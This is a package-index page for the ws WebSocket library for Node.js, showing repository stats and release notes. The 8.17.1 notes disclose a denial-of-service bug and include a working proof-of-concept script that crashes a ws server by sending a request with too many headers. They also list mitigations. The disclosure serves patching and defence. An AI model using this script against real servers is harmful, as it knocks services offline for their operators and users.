GitHub / websockets / ws
Simple to use, blazing fast and thoroughly tested WebSocket client and server for Node.js
JSON API: http://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/websockets%2Fws
PURL: pkg:github/websockets/ws
Stars: 22,401
Forks: 2,508
Open issues: 5
License: mit
Language: JavaScript
Size: 13.5 MB
Dependencies parsed at: Pending
Created at: almost 14 years ago
Updated at: 4 days ago
Pushed at: 2 months ago
Last synced at: 3 days ago
Commit Stats
Commits: 1695
Authors: 207
Mean commits per author: 8.19
Development Distribution Score: 0.579
More commit stats: https://commits.ecosyste.ms/hosts/GitHub/repositories/websockets/ws
Topics: javascript, node, nodejs, real-time, rfc-6455, websocket, websocket-client, websocket-compression, websocket-server
Funding Links https://github.com/sponsors/lpinca
8.17.1
8.17.1
Bug fixes
- Fixed a DoS vulnerability (#2231).
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=size
and/or themaxHeaderSize
options so
that no more headers than theserver.maxHeadersCount
limit can be sent. - Set
server.maxHeadersCount
to0
so that no limit is applied.
Download
8.17.0
8.17.0
Features
- The
WebSocket
constructor now accepts thecreateConnection
option (#2219).
Other notable changes
- The default value of the
allowSynchronousEvents
option has been changed to
true
(#2221).
This is a breaking change in a patch release. The assumption is that the option
is not widely used.
Download
8.15.1
8.15.1
Notable changes
- The
allowMultipleEventsPerMicrotask
option has been renamed to
allowSynchronousEvents
(4ed7fe58).
This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn’t already been widely used.
Download